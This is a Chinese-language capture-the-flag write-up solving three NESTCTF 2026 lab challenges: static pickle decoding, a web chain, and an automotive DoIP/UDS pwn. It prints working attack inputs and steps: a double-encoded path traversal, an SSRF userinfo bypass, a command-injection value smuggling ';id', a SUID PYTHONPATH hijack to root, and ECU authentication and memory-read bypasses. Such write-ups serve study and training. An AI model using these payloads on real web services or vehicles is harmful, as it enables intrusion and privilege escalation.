Allureluoli 二月FEBRUARY

2026-10-31-NESTCTF-WP

NESTCTF 2026 · 三道题

这场三道题方向完全不同:一个”不许加载”的 pickle、一个五层跳板的 Web、一个汽车 UDS 的真靶 pwn。按做题顺序记一遍,脚本都留在本机各题目录里。

三题总览

一、pickle-me-not · 全程没 load 过 checkpoint

题面明写了一句 **”Do not load unknown checkpoints locally just to inspect them.”**,所以整题只用 zipfile + pickletools 解字节,没让 torch 碰过任何 .pt。

先静态看附件里的 normal_reference.pt(1806 B):data.pkl 319 B,3 个 GLOBAL 全在白名单,format=modelhub-safe-v4,权重 6×8,bias 步长 0.4 —— 这就是题面说的”受信任参考”,没有秘密。

题目主体在 ModelHub 的隔离区,得先进工作区。

1. 双编码路径穿越

GET /api/v1/artifacts?path= 的 gateway 做一次 urldecode 就做策略检查,storage 层又 unquote 一次:

1
path=%252e%252e%252fquarantine%252fimport_ticket.json

读到了 repository:/quarantine/import_ticket.json,拿到票据。

2. replay 拿 legacy worker RCE

POST /api/v1/import-jobs/IMP-2026-0917-017/replay 只检查 payload 前缀是 LEGACY\n,后面直接交给兼容 worker 反序列化。于是顺手把隔离目录 7 个文件全拉回本地:两个 safetensors、index、manifest、ticket、quarantine_snapshot.pt、import_diagnostics.ndjson。

3. 静态摊平快照

data.pkl 617 B,5 个 GLOBAL,白名单外只有一个:modelhub_compat.rebuild_legacy_token。它的参数把 guard 视图的几何全暴露了:

1
storage=2  offset=19  size=(4,32)  stride=(67,2)

4. mhkdf:卡点就是题眼

import_diagnostics.ndjson 里写着 KDF 规格 mhkdf-sha256-v1:

1
2
block_i = sha256( utf8(global|route_id|nonce|storage_key|peer_salt) || counter_be32 )
peer_salt = guard.kdf_salt = 69c429c475ee3c2c89aa14ae514d2c75

我一开始按绝对偏移对齐 keystream,把字段组合、分隔符、counter 顺序全试了一遍,125 万+ 组合,最高可打印率 74/128 —— 全是噪声。换成视图内序号对齐(第 j 个视图字节异或第 j 个 keystream 字节)之后,第一个候选就出明文:

1
2
seed = modelhub_compat.rebuild_legacy_token|legacy-tar-bridge/quarantine-17|6c6f61645f736166655f323032365f31|2|69c429c475ee3c2c89aa14ae514d2c75
MODEL_IMPORT_REVIEW|tensor=guard.trace|flag{UuRlZZK0Q83g2Jw5xYCovugmjBOSbLllhBk35dVH}|END

6c6f... 那段是 ASCII load_safe_2026_1,storage_key 就是视图号 2。flag:

1
flag{UuRlZZK0Q83g2Jw5xYCovugmjBOSbLllhBk35dVH}

pickle 链路

二、wasmnesia · 从 SSRF 到 SUID 劫持

EdgeLedger 是个运营报表平台,登录页预填了账号,SPA 只暴露 11 个 API。五层跳板,每层都有回显。

1. SSRF(userinfo 骗白名单)

POST /api/v1/connectors/fetch 有主机白名单,但解析 host 时没处理 userinfo:

1
http://***@127.0.0.1:9090/internal/v1/artifacts/runs/job-f1234001/formal.wexp

拿回 1168 字节的正式导出(WEXP 容器),sha256 和页面上记录的工件一致。

2. 复刻 wasm 插件

同目录的 ledger_shift.wasm 只有 389 字节,手写解析出 mix32 / derive_seed / transform_batch,常数 0x9e3779b9 / 0x85ebca6b / 0xc2b2ae35 / 0x27d4eb2d,魔数 "WASM"。Python 重写后算出指纹 dd2e9e17488602cfddc41319,和页面上的 Output fingerprint 一字不差。

另一份 edge_context_diag_aarch64 是幌子:反汇编后 main 只在两个值同时为 0 时才失败,任何参数都打印 self-test: OK,里面根本没有 transform。

3. 已知明文爆 seed(关键一步)

导出是”置换 + XOR”,输入一定是 EIPC 容器(头 28 字节已知)。写了个 C 程序对 2^32 穷举,**25 秒命中 seed = 0xcb5c3daf**(s=13, o=7, r=11)。反演出被隔离前的真实输入:

1
2
3
4
redrive_endpoint=/api/v1/operations/redrives
execution_id=job-f1234001
generation=1
input_sha256=d6579f95f3691633e44c633bc60fb56c6c8ae50cd1cfcc74cbfcea341d39d379

交叉验证:WEXP 头里那 16 个未知字节,正好等于 sha256(恢复输入)[0:16],字节级对齐。

4. redrive 命令注入

POST /api/v1/operations/redrives 的 profile 字段直接进 shell:

1
profile = "archive-jsonl;id"   ->  uid=1001(ctf)

rz.py 就成了一条命令通道。坑:输出里带 > 重定向会让接口 502,换 tee 或分段写入。

5. SUID root + PYTHONPATH 劫持

/usr/local/bin/edge-health 是 SUID root,逻辑是:

1
2
3
chdir("/app/workspace")
setenv("PYTHONPATH", "/app/workspace:/opt/edge")
execl("/usr/bin/python3", "python3", "-c", "import edge_health; edge_health.run()")

/app/workspace 是 ctf 可写。丢一个自己的 edge_health.py 进去,再跑 SUID 程序,就是 root。读 /root/flag,并复制到 /app/workspace/rootflag.copy 复核过(47 字节含换行):

1
flag{86f8fdbuxGTvYtoY48XM2K0blC959GRvqidG7253}

顺手拿到了 /var/lib/edgeledger/attestation.key 的 32 字节 HMAC 密钥。

wasmnesia 链路

三、silgate · 一次 DoIP 版本字节的旁路

真靶:km902rre.nestctf.cyberpeace.cn:58999(TLS)。vECU 实现 DoIP + ISO-TP + UDS 子集,附件给了协议规格和例程格式。

1. 广播与激活

1
2
03 fc 00 04 00 00 00 49 4c 53 49 4c 47 41 54 45 32 36 4b 37 41 33 39 30 31 0e 80 25 ...
-> VIN LSILGATE26K7A3901 addr 0x0E80 SEC-GATE v2.3.1 (legacy-compat build)

路由激活 type=0x01 走 memcmp(cred, "SILG1", n),但长度校验 len - 5 >= oem_len 恒不成立 —— 发短包就能无凭据通过,回 0x10。

2. 0x23 越权读

4 字节相对地址是 镜像基址 + offset,没有边界校验,一路读到 0xC00000,拖回 4 MB 固件镜像。8 字节绝对地址能读运行中的 vECU 本体 0x55DDE2288000 + 0x9000(36 KB 动态 ELF,链接 OpenSSL)和会话堆。

主密钥指针在 image+0x9108,指向封存页 0x7FDE0799B000 —— 不在可读窗口里,所以标准通道的 0x27(HMAC-SHA256)没法伪造。

3. DoIP 版本 = 0x02,进隐藏分发器

反汇编里 0x5D18: cmp bpl, 2 -> 0x6045,bpl 是 DoIP 头里的版本字节。把版本改成 0x02(校验字节 0xFD),诊断帧进第二套分发器,而且不走 ISO-TP:[src][dst][UDS...] 裸传。

4. legacy SecurityAccess(弱 16 位 KDF)

legacy 通道的 0x27 子功能是 0x01/0x02:

1
2
ecx = ((seed << 7) ^ seed); ecx ^= (ecx & 0xFFFF) >> 9; ecx ^= ecx << 8
key = ((A * ecx) ^ B ^ 0x4B37) & 0xFFFF # A/B 来自 image+0x901C

0x27 0x01 拿 seed,算完发 0x27 0x02 + key,回 67 02,解锁位置位。接着 0x10 0x02 进编程会话(50 02 00 32 01 F4),0x31 04/05 0203 过 RID 握手(71 05 02 03 00)。

5. 刷一段例程去读文件

0x34 申请下载,回 74 20 08 00;0x36 传数据,必须每个都是单帧(≤5 字节数据),多帧会回 NRC 0x24;0x37 回 77,例程在独立线程里从 buffer+0x10 执行。

静态扫描只拦 CC / F4 / 0F 05 / 0F 34 / CD 80,所以别写 syscall。GOT 就在可读的镜像窗口里(0x8E88 / 0x8F28),直接 call libc:

1
2
fopen(IMG + 0x9080, "r")      # "/home/ctf/flag" 就在 .bss
fread(dst, 1, 0x40, fp)

例程执行完,用 0x23 把结果页读回来:

1
flag{hLcV4EaVTTaAtlvX6XPWKJKkgqI1hNcqORtAu4Z0}

整个链路的坑集中在 0x36:不是协议设计问题,是服务器侧 ISO-TP 的 STmin/BS 判定让多帧全部失败,单帧才稳。

silgate 链路

没做完的

  • 另一道 Web 题环境一直 502(Caddy 空 200),没起就放了。

踩坑表

坑 现象 解决
pickle 的 keystream 对齐 125 万组合最高 74/128,全是噪声 按 guard 视图内序号,不是绝对偏移
双编码穿越 单次 %2e%2e%2f 被策略拦住 %252e%252e%252f,网关和 storage 各 unquote 一次
wasm 侧的 aarch64 自检 任何参数都 OK,看着像有逻辑 反汇编,失败条件是两个值同时为 0,纯幌子
redrive 注入带 > 接口 502 换 tee / 分段写
silgate 0x36 多帧 NRC 0x24 每条单帧,≤5 字节数据
silgate 标准 0x27 只能回 NRC,密钥读不到 DoIP 版本改 0x02 走 legacy 弱 KDF

一句话总结

三道题考的东西不重样:pickle 是”只读字节流也能还原密钥流”,wasmnesia 是”每一层都留了可观测回显,链就断不了”,silgate 则是”一个头字段的版本分支,比任何加密都致命”。真要说共同点:先找到那个能让程序走另一条分支的字节,剩下的都是体力活。

评论COMMENTS